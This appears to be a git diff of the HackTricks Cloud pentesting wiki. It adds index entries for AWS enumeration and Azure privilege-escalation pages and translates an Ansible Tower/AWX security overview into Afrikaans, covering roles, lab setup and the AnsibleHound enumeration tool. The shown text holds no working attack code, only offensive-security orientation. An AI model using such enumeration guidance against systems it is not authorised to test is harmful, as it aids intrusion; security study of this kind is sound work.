- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -423,6 +464,7 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -482,6 +524,7 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,18 +1,14 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>Ondersteun HackTricks</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,63 +1,62 @@
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
# Ansible Tower / AWX / Automatiseringsbeheerder Sekuriteit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloei te integreer.
|
||||
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
**Automatiseringsbeheerder is 'n nuwer** weergawe van Ansible Tower met meer vermoëns.
|
||||
|
||||
### Differences
|
||||
### Verskille
|
||||
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoofverskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloei.
|
||||
|
||||
### Tech Stack
|
||||
### Tegnologiesteke
|
||||
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
- **Web Koppelvlak**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualisasies om te help met die begrip van die toestand en resultate van jou automatiseringswerk.
|
||||
- **REST API**: Alles wat jy in die web koppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer.
|
||||
- **Databasis**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor.
|
||||
- **RabbitMQ**: Dit is die boodskapstelsel wat deur AWX/Tower gebruik word om tussen die verskillende komponente te kommunikeer, veral tussen die webdiens en die taaklopers.
|
||||
- **Redis**: Redis dien as 'n kas en 'n agtergrond vir die taaklyn.
|
||||
|
||||
### Logical Components
|
||||
### Logiese Komponente
|
||||
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
- **Inventarisse**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor wie se **werksgeleenthede** (Ansible speelboeke) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlis te kan haal van ander stelsels** soos AWS, Azure, ens.
|
||||
- **Projekte**: 'n Projek is in wese 'n **versameling van Ansible speelboeke** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste speelboeke te trek wanneer nodig.
|
||||
- **Sjablone**: Werk sjablone definieer **hoe 'n spesifieke speelboek uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer.
|
||||
- **Akrediteer**: AWX/Tower bied 'n veilige manier om **geheime te bestuur en te stoor, soos SSH sleutels, wagwoorde, en API tokens**. Hierdie akrediteer kan met werksjablone geassosieer word sodat speelboeke die nodige toegang het wanneer hulle loop.
|
||||
- **Taak Enjin**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die speelboeke uit te voer**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible speelboeke teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer.
|
||||
- **Skeerders en Terugroepe**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer kan word** om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse.
|
||||
- **Kennisgewings**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens.
|
||||
- **Ansible Speelboeke**: Ansible speelboeke is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik speelboeke Ansible se verklarende outomatiseringstaal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf.
|
||||
|
||||
### Job Execution Flow
|
||||
### Werk Uitvoering Stroom
|
||||
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
1. **Gebruiker Interaksie**: 'n gebruiker kan met AWX/Tower interaksie hê of deur die **Web Koppelvlak** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word.
|
||||
2. **Werk Inisiasie**:
|
||||
- Die gebruiker, via die Web Koppelvlak of API, inisieer 'n werk gebaseer op 'n **Werk Sjabloon**.
|
||||
- Die Werk Sjabloon sluit verwysings in na die **Inventaris**, **Projekt** (wat die speelboek bevat), en **Akrediteer**.
|
||||
- By werk inisiasie, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te queue.
|
||||
3. **Werk Queuing**:
|
||||
- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geinisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ.
|
||||
- **Redis** dien as die agtergrond vir die taaklyn, wat gequeue werksgeleenthede wat wag vir uitvoering bestuur.
|
||||
4. **Werk Uitvoering**:
|
||||
- Die **Taak Enjin** neem die gequeue werk op. Dit haal die nodige inligting van die **Databasis** oor die werk se geassosieerde speelboek, inventaris, en akrediteer.
|
||||
- Met die onttrokken Ansible speelboek van die geassosieerde **Projekt**, voer die Taak Enjin die speelboek teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Akrediteer**.
|
||||
- Soos die speelboek loop, word sy uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Databasis** gestoor.
|
||||
5. **Werk Resultate**:
|
||||
- Sodra die speelboek klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Databasis** gestoor.
|
||||
- Gebruikers kan dan die resultate deur die Web Koppelvlak sien of dit via die REST API opvra.
|
||||
- Gebaseer op werksuitkomste, kan **Kennisgewings** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees.
|
||||
6. **Eksterne Stelsels Integrasie**:
|
||||
- **Inventarisse** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek.
|
||||
- **Projekte** (speelboeke) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum speelboeke tydens werk uitvoering verseker.
|
||||
- **Skeerders en Terugroepe** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower laat reageer op eksterne triggers of werksgeleenthede op voorafbepaalde tye te laat loop.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
### AWX laboratoriumskepping vir toetsing
|
||||
|
||||
[**Volg die dokumentasie**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -83,79 +82,78 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
### Ondersteunde rolle
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
Die mees bevoorregte rol word **Sisteem Administrateur** genoem. Enigeen met hierdie rol kan **enige iets** **wysig**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Sisteem Ouditeur rol** benodig, wat toelaat om **alle sisteemdata** te **bekyk** maar geen veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasie Ouditeur rol** te verkry, maar dit sou beter wees om die ander een te kry.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
<summary>Breek dit uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
1. **Sisteem Administrateur**:
|
||||
- Dit is die supergebruiker rol met regte om toegang te verkry en enige hulpbron in die sisteem te wysig.
|
||||
- Hulle kan alle organisasies, spanne, projekte, inventarisse, werksjablone, ens. bestuur.
|
||||
2. **Sisteem Ouditeur**:
|
||||
- Gebruikers met hierdie rol kan alle sisteemdata bekijk maar kan geen veranderinge aanbring nie.
|
||||
- Hierdie rol is ontwerp vir nakoming en toesig.
|
||||
3. **Organisasie Rolle**:
|
||||
- **Admin**: Volle beheer oor die organisasie se hulpbronne.
|
||||
- **Ouditeur**: Slegs lees toegang tot die organisasie se hulpbronne.
|
||||
- **Lid**: Basiese lidmaatskap in 'n organisasie sonder enige spesifieke regte.
|
||||
- **Voer Uit**: Kan werksjablone binne die organisasie uitvoer.
|
||||
- **Lees**: Kan die organisasie se hulpbronne bekijk.
|
||||
4. **Projek Rolle**:
|
||||
- **Admin**: Kan die projek bestuur en wysig.
|
||||
- **Gebruik**: Kan die projek in 'n werksjabloon gebruik.
|
||||
- **Opdateer**: Kan die projek opdateer met SCM (bronbeheer).
|
||||
5. **Inventaris Rolle**:
|
||||
- **Admin**: Kan die inventaris bestuur en wysig.
|
||||
- **Ad Hoc**: Kan ad hoc opdragte op die inventaris uitvoer.
|
||||
- **Opdateer**: Kan die inventarisbron opdateer.
|
||||
- **Gebruik**: Kan die inventaris in 'n werksjabloon gebruik.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
6. **Werksjabloon Rolle**:
|
||||
- **Admin**: Kan die werksjabloon bestuur en wysig.
|
||||
- **Voer Uit**: Kan die werk uitvoer.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
7. **Geloofsbriewe Rolle**:
|
||||
- **Admin**: Kan die geloofsbriewe bestuur en wysig.
|
||||
- **Gebruik**: Kan die geloofsbriewe in werksjablone of ander relevante hulpbronne gebruik.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
8. **Span Rolle**:
|
||||
- **Lid**: Deel van die span maar sonder enige spesifieke regte.
|
||||
- **Admin**: Kan die span se lede en geassosieerde hulpbronne bestuur.
|
||||
9. **Werkvloei Rolle**:
|
||||
- **Admin**: Kan die werkvloei bestuur en wysig.
|
||||
- **Voer Uit**: Kan die werkvloei uitvoer.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
## Enumerasie & Aanvalspad Kaartlegging met AnsibleHound
|
||||
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
`AnsibleHound` is 'n oopbron BloodHound *OpenGraph* versameling geskryf in Go wat 'n **slegs lees** Ansible Tower/AWX/Automatiseringsbeheer API-token in 'n volledige toestemmingsgrafiek omskakel wat gereed is om binne BloodHound (of BloodHound Enterprise) geanaliseer te word.
|
||||
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
